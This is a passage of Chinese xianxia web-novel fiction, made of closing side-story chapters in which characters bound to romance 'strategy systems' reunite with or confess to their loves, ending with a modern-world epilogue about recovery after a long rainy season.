在白霓眼中,那所谓的大慈大悲的剑仙大人…… 就是块阴魂不散的狗皮膏药。 …… 白霓能这么讨厌一个人,那自然是有理由的。 其实最初她也与世人一般肤浅,对风逸尘抱有不切实际的幻想。 欣赏他人如其名,外貌是一派的清冷优雅,人美丽、强大、正义。 可直到后来,当无论她做什么事情,那个烦人精都要来插上一脚,她才不得不承认当初的自己,是多么的眼瞎。 白霓从未见过把手伸得如此之宽的人。 只说上回,她不过是炼了个噬魂魔珠,都还没有拿去做什么大事。 他却是连关都不闭了,中途出关后直接冲到了她天魔宗,拿着他的那把破圣剑在那里刺刺刺刺刺,害得她大半年的心血毁于一旦。 再上回,她在落阴城活人养蛊他也要来捣乱。 那落阴城里全是大奸大恶之人,她不过是废物回收再利用,有什么不好?! 再再上回,她什么都还没来得及做,不过只是离开了天魔宗的领地在外边溜达了一圈,他便跟踪了她足足一个月! 白霓当真是烦透了他、恨死了他。 所以当那个系统突然出现—— 也不管它到底是什么鬼东西,只一意识到有复仇的机会,白霓就无比果断地抓住了它。 …… 在那本《系统生成手册》上面写的什么,作为系统协助攻略者完成攻略任务,就可以得到很多奖励,比如说实现心愿什么的——白霓全部都不在乎。 她只想要复仇。 只想像风逸尘这些年折磨她的那样,疯狂地折磨他。 所以,白霓看中的,完全是那个“如果攻略者不好好完成任务,便可以用仙境九阶渡劫强度的天雷,对攻略者降下电击惩罚”。 为了尽早看到风逸尘被天雷折磨得狼狈不堪的落魄模样,白霓的系统一生成好,就立刻找上了他。 【亲爱的幸运儿,恭喜你被“我们相爱吧”恋爱攻略系统选中啦!】 【若宿主接受系统绑定,则需要攻略由本系统指定的目标,并与其坠入爱河。】 【若宿主拒绝系统绑定,首次口头警告,次回电击惩罚,三次直接抹杀!!!】 那“恋爱攻略系统”当然是白霓自己选的。 毕竟风逸尘此人比佛修还要远离淫邪,就差没把“禁欲”写在脸上。 如果想电击惩罚他最多次,恋爱系统当然是最好的选择。 至于口头警告……是不可能口头警告的。 只要他敢说一个不字……不,只要他一张开嘴,她的手便会按下那个“电击惩罚”的按…… 风逸尘:“我的攻略目标是?” 白霓:“?” 好吧,这次是她晚了一步,但下次她绝对不会错失机会。 既然要选攻略目标,那肯定要选他最恨、最讨厌、绝对不可能同意的人! 【天魔宗主,白霓。】 风逸尘:“好的。” 白霓:“?????????” 完全是下意识的。 当看到风逸尘那张认真的脸…… 白霓反手就关掉了系统界面。 …… 自那一日风逸尘干脆利落地答应下了攻略,白霓被吓得猛关掉了系统界面起,已经过了足足三日。 这三日间,她是既惊恐,又困惑。 她隐隐觉得好像哪里有点不对。 可仔细深思,又没能发现是哪里不对*。 因为怪异的地方实在太多了,白霓本都有些想放弃掉这复仇的机会。 可当一想到这是最与风逸尘绝缘的恋爱系统,况且攻略目标兼系统都是她本人,能够操作的空间巨大,便实在没法放弃这个难得的机会。 于是白霓重启了系统界面。 眼睛一闭心一横,便对他发布出了第一个任务: 【请立刻、现在、马上启程前往天魔宗,向攻略目标表白你的心意。】 风逸尘:“我已经到了。” “?” 白霓先是懵了一下,紧接着被吓得一个鲤鱼打挺从床上滚了下来。 来不及喊痛,她先是利用系统界面去看风逸尘当下的所在地。 然而此举却是多余了,因为…… “叩叩” 风逸尘:“白霓。” 风逸尘:“我有话想对你说。” 此时此刻。 他就在门外。 …… 这么多年来,白霓没怕过什么。 世人都说她天魔宗主嚣张跋扈、睥睨一切、目中无人。 连她自己都觉得是描述得万分贴切。 然而事到如今,她却是败给了一扇木门。 她不敢开门。 只敢隔着门板对门外的人口出狂言: “滚。” “我跟你没什么好说的。” “……” 也不知道他是不是被她的语气伤到了。 风逸尘沉默的时间确实有些长。 正当昏头昏脑的白霓终于又想起自己可以用系统视角去看他的情况,却冷不防被他一声轻唤拉回了注意力。 风逸尘:“白霓。” “……” 其实在他出声的时候,光是听到他的语气,再从那声色去窥探他的感情,白霓便有一种预感。 风逸尘他这个人……无论何时何地,皆是清冷淡漠,哪怕泰山崩于前,也都没有一丝一毫的情感波动。 对世人如此。 危难来时如此。 杀人时更是如此。 可唯独在这一个当下…… 白霓从那总是冷冷清清的音色中,听到了淡淡的温柔。 果然…… 当他再次开口,他说的不是“喜欢你”。 而是…… “我爱你。” 白霓猛地推开门。 只见夜色如水,他背照万里灯河。 凝望她的眼眸含了丝丝笑意,有情深款款。 白霓一时只觉得胸口闷得慌,不禁别开视线。 白霓:“……我知道的。” 白霓:“你会对我说这些话,全都是因为……” 她没有能把话说完。 只因那本《系统生成手册》从屋内飞到了他的手上。 风逸尘当着她的面,将它毁得一干二净、尸骨无存。 “不必用这种东西我也会爱你。” 迎着她怔怔的目光,他用前所未见的柔情嗓音,说出了最动人的话。 “白霓。” “我们相爱吧。” 148 第148章 ◎世界三番外HE◎ 倘若说到相爱…… 云月娇觉得后来的自己没法再去爱上别人,绝对全部都是那个黑衫佛子的错。 也并不是说没有再遇见喜欢的人。 只是长不过一年,短则两三天,新鲜感一过,很快地就感到了厌倦腻味,于是最后不欢而散,无疾而终。 毕竟不会再有人用生命去爱她。 而她也不会再为谁搭上生命。 但这样更好。 云月娇是真心觉得,这样更好。 …… 如果说想念一个人。 便会忍不住追逐他过往留下的痕迹。 可倘若那个人是黑衫佛子,任是云月娇也觉得有些有心无力。 人死了,还有一把灰可以扬。 他死了,却是什么都没有给她留下。 在她的眼前笑着化作了星辰光点之后,便永远消失在了那一日的破晓时分。 但有时候太想一个人…… 又正逢闲得慌的时候。 云月娇也会离开天上城,下到人间,去寻找过去留下的痕迹。 不过那样也没什么用。 毕竟已经过了太久太久了。 久到沧海化作了桑田,山陵变成了深谷。 关于那个时代的任何人、任何物、任何事,都已经再寻不到一丁点的踪迹。 不会再有人记得,曾经有那么一个叫月明枝的妖女,有那么一个吃肉喝酒,还总是一本正经胡说八道的黑衫佛子。 有关于他们所有爱过、恨过、怨过的旧事,全部都成为了只有她一个人记得的过往。 就连他们初见的水榭亭台都也已经…… 已经…… “你怎么来了?” “……” …… 岁序更新,寒往暑来。 倘若不是云月娇下到人间的时候,恰逢一年的夏令。 她也不会想起那年的柳条雨丝、水榭亭台,与黑衫佛子初遇的那一眼,也就不会又到这个地方来。 毕竟在她的印象中…… 这个地方应是不复存在了。 当年她情毒一解,魔功一散,那些个名门正派蜂拥而上,一把火放得这里烧了三天三夜。 百年之前她曾来过此地一次,依然是满地残垣断壁。 可如今…… 云月娇却恍然走进了自己的记忆里。 粉墙朱户。 花光柳影。 连那雨丝也一如梦中。 便是在云月娇不由伸手去接雨的时候,那一声“你怎么来了?”在不远处响起了。 他那语气实在熟稔,仿佛他们曾经相识,今日并非他们第一日初见。 于是云月娇一瞬恍然,而后在回眸之际,不假思索问的是: “我们认识?” 隔着雨丝柳条,那青衣男子凝望她的目光脉脉无言。 天地间忽而静了下来。 良久,方听他声色含笑,缓缓道来: “我们可以从现在开始认识。” “鄙人青玉。” “敢问仙女名讳?” …… 往常云月娇在人间界最长留不过三五天。 但如今她却已是在此地停留了一个月。 这一个月间,她从未见过那自称青玉的男子穿过一次黑衫。 他非但不穿黑衫,不修佛法。 甚至还是一名剑修。 他解释自己之所以来到此地,全是为了参破所修剑法的最后一式。 那最后一式困了他已有几十年之久,是后来托人算了算,算出此地是他的机缘之地,方才不远万里地前来。 可隐居多年,依然迟迟没有进展,本来还很郁闷。 是直到一个月前遇见她的那一日,忽然才懂了。 青玉:“定是为了遇见像你这样美丽温柔的仙女,上天才会指引我来到这里。” “……” 云月娇只是静静地看着他,并不说话。 自然不是她脾气突然变好了。 倘若放在昨天,她也定是二话不说直接出手把人胖揍一顿。 然而只是在昨夜……她终于结束了长达一个月的苦差。 将当年从裴青意识海得到的记忆,自始至终、巨细无遗地回忆了一番。 之后便发现,那黑衫佛子在最初时候…… 也是一块青玉。 只是因为过了太久太久,他才会忘了那具肉身只是他第一次完成攻略后的奖励。 又以那副身体活动了太久太久,才没有想起原本的自己…… 只是一块想要获得肉身,所以答应了系统进行攻略的青玉。 因此当一切土崩瓦解、荡然无存,他回到了最初的原点。 耗费了不知道多少年,才终于重塑□□。 一直到如今…… 只因她一次心血来潮,才与她这般重逢。 …… 其实也不知道是为什么。 明明是思念的人,如今突然确认他没死,是真的又活了过来,在这当下,云月娇的心头却是不爽的情绪占了居多。 于是当面对他那张硬凑过来的脸,她终是如他所愿,伸手直接将他胖揍了一顿。 分明是不同的脸,但从那张嘴里喊出来的惨叫倒是一如当年。 连被动挨打的样子都像得毫厘不差。 云月娇是越听越不爽,越看越窝火。 当怒气积攒到了一定程度,她终于是忍不住一脚把他踹开后,亮了武器。 “不是剑修吗?” “让我看看你的剑修得如何了。” 他愣了愣。 之后应了声好。 以前的黑衫佛子在云月娇眼里就是个废物。 别说使剑,一把剪刀他也用不好。 让他给她剪头发,最后剪得人不人鬼不鬼,跟被狗啃过似的。 后来的裴青倒是心狠手辣。 对她是次次下死手,招招想致命,真心一点活路都不愿意给她留下。 然而如今的青玉…… 他既不像是黑衫佛子一心救人,也不似裴青为杀而生。 他那也不知道是什么剑法,轰轰烈烈的,破坏力十足,不多时周遭的石柱石桥便是毁得毁,烂得烂。 偏偏那凌厉剑风像是长了眼似的,对她退避三舍。 云月娇谅他也没有这种狗胆,敢当着她的面礼让她。 于是忍不住停下来问他: “你这修的到底是什么鬼剑法?” 她一停。 他便也跟着停了。 剑风一消止,天上不知从何时开始下的小雨淅淅沥沥地落了下来。 当冰凉雨丝落到滚烫的石地,一时之间雾涌云蒸,烟尘弥漫。 霎时间,无论是他的脸,还是那凝望过来情深款款的眼神,全部变得隐约朦胧,让人看不真切。 隔着雾色苍茫,云月娇听到他静默了一会,然后回道: “是相思剑法。” 眉心在不知不觉间蹙起。 “那你如今参破得如何了?” “……” 浮光雾影之间,是他声色温柔如同晚风。 “当你来到此地,闻声回眸望来的那一眼。” “便已圆满。” 烟云散开了。 当烟消云散,完结在那一年夏令、那一日破晓时分的故事好像翻开了新的一页。 于是云月娇的挥剑而去,恍如执笔人重新落笔,泼墨挥毫。 “……人都砍不中。” “圆满个什么圆满?” 但愿这一次…… “娇娇。” “我的相思剑……” “是不砍意中人的。” 能云开见月。 不负相思。 149 第149章 ◎世界二if线◎ 是因为没有了读心术,程鸢才会直到十年之后,才知道原来当年灵无宗宗主把她从凡人界带去修真界,竟是怀着那样的念头。 是啊。 根本就没有什么相见投缘。 也不存在什么对她的疼惜、哀怜。 从一开始,他们便是为了让她代替真正的宗主之女叶语笑嫁给魔尊…… 所以才会对她那么好的。 …… 程鸢最初也不是没有怀疑过。 毕竟是那样连想都不敢想的福从天降。 一日之间就从颠沛流离的流浪凡人,一跃成为了灵无宗的宗主之女。 非但有了和蔼可亲的父母,相亲相爱的兄长和表妹,还有了尊贵的身份和地位,得到了无法想象的一切。 换了谁都该是惶惶不安的。 可是……他们对她真的太好了。 眼神是那样温柔,甚至用充满善意的语气对她嘘寒问暖。 对幼年丧亲,流离失所,因为猜不透人心,而吃了太多亏、尝了太多苦的她来说…… 那是无法拒绝的、足以去忽略所有不合理的、致命的东西。 是啊。 那真是致命的。 哪怕明知嫁给魔尊不可能会有活路,明明已经察觉到了他们从一开始便是打着这样的算盘。 她却还是对他们点头笑道: “好。” “我会嫁的。” …… 婚期被定在三个月之后。 时间不长不短。 如果说哪里让程鸢放心不下…… 那大抵只剩下关骓野他这个人了。 第一次亲眼见到关骓野之前,程鸢就已经认识了他。 毕竟他很有人气,在灵无宗有不少关于他的传闻。 无论是“对所有人都温柔、都好的中央共享暖男”、“卷自己卷别人卷动整个灵无宗的超级卷王”,甚至是“不主动、不负责的渣男”,程鸢皆都有所耳闻。 而她初次见他…… 是在灵无宗那棵据说很灵验的姻缘树下。 当时是她意外撞见女修向他表白的场景,一时惊慌,走投无路下躲上了树,想等他们离开后再走。 那会因为尴尬,无论是关骓野他这个人,还是他们说的话,程鸢都没有看清、听清。 唯独只听见了一句—— “我已经有喜欢的人了。” 他抬眸望来的时候,仿佛知道她就在那里。 也是直到那一刻,隔着飞舞红绸、从叶隙间掉下来的天光,她才终于看清他的面容。 ……抬首凝望而来的那双眼睛,恍如一汪春水,温柔又深情,让人顿时就产生了不切实际的幻想: ‘他喜欢的那个人…… 也许真的是她。’ 那似乎并不是她的错觉。 只因在那之后…… 关骓野非但没有收回目光,反而还问她: “叶师妹。” “我能喜欢你吗?” “……” 程鸢逃跑了。 这么一逃,便是两年情路坎坷。 因为身份云泥,关骓野在外风评不好,直到最近他们才终于破除万难,解开误会,结为情缘。 然而讽刺的是…… 这才不过几日,她便忽然得知自己死期将至,他们注定要分离。 并且还是以魔尊夫人的身份死去。 其实最初时候,程鸢是真的会担心关骓野因她的背叛而受伤。 但直到偶然撞见他与系统的对话,她才终于意识到,被所有人所蒙骗、所利用,真的可能会受伤的那个人…… 只有她而已。 毕竟他对她根本没有什么爱不爱的。 更没有什么一往情深,此生不换。 她只是他其中之一的攻略角色。 而他的下一个攻略目标…… 正是真正的灵无宗宗主之女,萧晓。 …… 怨吗? 最开始的时候,程鸢的确是怨过恨过的。 可当事实接二连三地出现在眼前,好像忽然就释怀了。 毕竟没有人天生有责任有义务要对你好。 他们给了你想要的东西,自然会从你身上索取他们想要的东西。 这不过是一场等价交换。 于是在得知攻略真相的那一刻,程鸢不过是并着眼泪笑了出来。 既没有冲上去质问,也不打算要报复,第二日装作仿佛什么都不知道一样,与他言笑晏晏,相谈甚欢。 甚至主动撮合起他们二人。 萧晓很高兴。 因为她好像本来就喜欢关骓野,只是碍于父母亲的命令、她程鸢的存在,才隐瞒了自己的心意。 至于关骓野…… 他其实也该要高兴的。 终究萧晓是他的攻略目标之一。 只要攻略了萧晓,他那么渴求渴望的修为就能登上更高的台阶。 何况还有她程鸢不计前嫌得失,在后面推波助澜,他怎么会不高兴? 是啊,他应该要高兴的。 而不是怒气冲冲地质问她: “你到底为什么要屡次三番地把我推给萧晓?!” “难道只要是她喜欢的你就会让?” “你对我当真没有一点感情吗?!” 说有,难道就能在一起吗? 他的野心,对力量的渴望,她被决定好的未来,他们之间有太多太大的阻碍了。 所以…… “你以为你是谁?” “我怎么可能会爱你。” “你与我之间是没有任何可能的。” 坏人由她来做。 他们只需要去幸福就好。 …… 可惜后来的关骓野只想开了一半。 他非常努力地去完成攻略任务,抓住了她为他创造的每一个机会。 却不该在与萧晓秀恩爱的时候,眼睛死死地盯着她,好像期盼她能发火,拼命希望她能在意。 更不该在那所谓的福源洞天,当看到她双目被毒火熏瞎,崩溃到好像要疯了一样,说些什么对不起,请她原谅他的话。 可是…… “原谅……吗?” “如果已经不怨也不恨了……那要如何原谅?谈何原谅呢?” 他那一瞬间的哑口无言,也许是面如死灰,但即使如此,她也还是要说: “我们之间没有可能的。” “你不要再强求了。” 可关骓野强求了。 便是在出嫁前夕,程鸢听到了他血战魔尊的传闻。 后来与魔尊身陨、他不知所踪的消息一同来到她身边的,还有一颗治疗眼疾的圣药。 他一个字一句话都没有给她留下。 就连她找到他跟前时,也是那样的疏离淡漠。 “你来干什么?” “如果你是为魔尊的事便大可不必,是我一早就看那魔尊不顺眼,早想把他干了,跟你叶语笑半点关系都没有。” 当程鸢一眼看出他修为尽失,丹田尽毁,关骓野对她所有的冷漠,便全都起不了效了。 因此沉默过后,她只是轻声问他: “如果我说我不是真正的叶语笑,不是尊贵的灵无宗宗主之女,只是一个代嫁的替死鬼。” “你后悔吗?” 其实关骓野本来可以说出更绝情的话的。 然而在震惊、愤怒,似乎是觉得很心痛又不得不强忍之后,最终咬牙说出来的话只是一句: “保护我喜欢的人,我为什么要后悔?” 程鸢只是不禁笑了。 她没有读心术。 不知道他嘴里说的和他心里想的是不是一样的东西。 更不清楚他现在是不是还在进行他的攻略。 但哪怕如今的关骓野依然是攻略者…… 她也知道一定会有人真心爱她。 因为她值得。 唇边的笑意不由加深,那内敛的微笑逐渐带上了豪放快意的诗情,响彻在这天地之间。 “我本名程鸢。” “是云程万里的程,鸢飞鱼跃的鸢。” “关骓野。” “我们,重新开始吧。” 【全文完结】 150 第150章 ◎世界一现代番外◎ 从来到这个世界的第一天开始,雨就一直在下。 林静也说很不寻常。 虽然是多雨的南方,但也从来没有像是这样,从早春开始,几乎天天下雨,一直下到了夏日完结。 其实一天两天还好。 一周也能够忍耐。 可时间一长,当天色终日灰蒙阴郁,看着雨水不停砸在玻璃上,一圈一圈模糊了视野,虞香便会忍不住去想…… 全都是因为她,阿邪才会毫无音讯。 林深意才会昏迷至今,丝毫没有要苏醒的迹象。 虞香侧首望向窗外的世界。 “……” 今天。 雨也依然在下。 …… 林静是个很好的人。 在听完了全部的来龙去脉,她没有埋怨过一句哥哥林深意的昏迷不醒是她的错,甚至放下自己的事情,不遗余力地帮她适应全新的世界。 然而越是从林静那里感受到善意…… 虞香便越是会觉得亏欠。 那所有温柔的话语,宽容的微笑,对于心怀负罪内疚的人来说,俨然如用绳子圈紧了脖子,另一端绑着大石。 越沉越深。 开不了口。 …… 虞香不讨厌雨,却也抗不过这般漫长的梅雨时节。 那终日湿漉黏腻的感觉像是得病了一样。 失去了力气。 什么都不想做。 就算强迫自己去做些什么。 最终也什么都做不成。 于是那一无所成无计可施、无数次尝试最终却落败的挫败感,那永远残留在身体里的,因为阴郁天气而苏醒的所有的悲伤的痛苦的回忆—— 让她变成了一具活着的尸体。 如果不是因为抓住了他们伸向她的手,虞香也许不会自救。 也许在那一刻面对不了、想做什么却什么都做不到的时候,就已经放弃了自己,放下了所有。 不可能会这么努力地驱动已经被埋进土里的身体。 这么努力地重新站起来。 推开门,走出去。 …… 虞香也不知道自己想去哪里,要去哪里。 她失去了方向。 也没有方向。 只是在某一个快要窒息的瞬间,她突然意识到如果想要继续活下去、想要自救的话,就应该要动起来,离开与以前的自己有关的一切,去寻找自己存在的原因。 所以她走了出去。 外面的世界依然天色晦暗,阴雨连绵。 潮湿得让人烦闷。 即便撑了伞,踩下去每一步带起来的污水,都会很不舒服地溅在小腿肚上。 入目的一切也都全是狼藉。 便是顺着柏油路上堆满的枯裂落叶,黄泥涌动的泛滥河道,虞香走到了一个公园。 本该是万花齐放百花争艳的季节,却寂静得什么都看不到。 没有人。 只剩下雨滴拍打在雨伞上的声音。 木桥边那棵本会在春末夏初盛放的凤凰木,也因为花芽在还未长成的时候便被雨水打落,而变得颓萎恹恹,什么都不剩下,一点红艳的颜色都看不见。 也许是她在这棵树下站得太久了。 所以不远处便利店的小孩才会突然跑过来,抬起头好奇地问她: “姐姐,你在看什么?” 虞香没有想过会突然被搭话。 因此愣了愣后,才轻声应了句:“在看雨。” “姐姐喜欢雨吗?” “不是太喜欢。” “为什么呢?” “阴沉的天色会让心情……变得不太好。” “哦……” 虞香本以为他应该要走了。 却不料他苦思冥想了一阵后突然开口: “姐姐你闭上眼睛。” “然后用力吸一大口气!” “……” 虞香拒绝不了那充满了期待的亮晶晶的视线,于是只好照做。 而眼前只是陷入了黑暗一会,耳边便再响起他献宝一般的兴奋声音: “是不是有一种很好闻的气味?” “这是只有下雨天才闻得到的气味!” “姐姐你闻到了吗?” “……” 虞香闻到了。 那清新的气息,好像充满了生命力和自由。 ……是啊。 自由。 无论是那让人感到格格不入的高楼林立,或是光影交错的电子霓虹。 还是当下不受剧情控制地可以去任何地方,做任何想做的事情,说任何想说的话。 不会被恶意误解,不会被无端中伤,不会被存心扭曲。 这所有的一切,全部都组成了她的自由。 她是为了得到自由。 才会来到这个世界。 “姐姐现在还很讨厌雨吗?” “……” “好像……已经没有那么讨厌了。” 便利店家的小孩得意咧嘴一笑,终于暴露了真实意图: “那姐姐来我家买东西吧!” “我家东西性价比特高,姐姐来买给你打折!” 虞香不禁也笑了。 便是在走出凤凰木树荫下的那一刻,阳光穿过了透明的伞,落在了她的身上。 “姐姐!雨停了!” 再漫长的雨季,也会有结束的一天。 【您有一个来电,请问是否接听?】 【来电人:林深意】 “……” 当听到他声音的那一个瞬间,那曾经在濒死之际,感受到的所有孤独、恐惧、空虚,好像全都消失了。 “香香。” “我们回来了。” “一切都结束了。” “我和阿邪、林静,追风和长祝都在等你,你什么时候回……不,你在哪里?” “我们现在去见你。” 雨不会永远下下去。 今年没有开成的凤凰木,明年会以更热烈灿烂的样子,轰轰烈烈地回来。 …… …… 我已经看到了。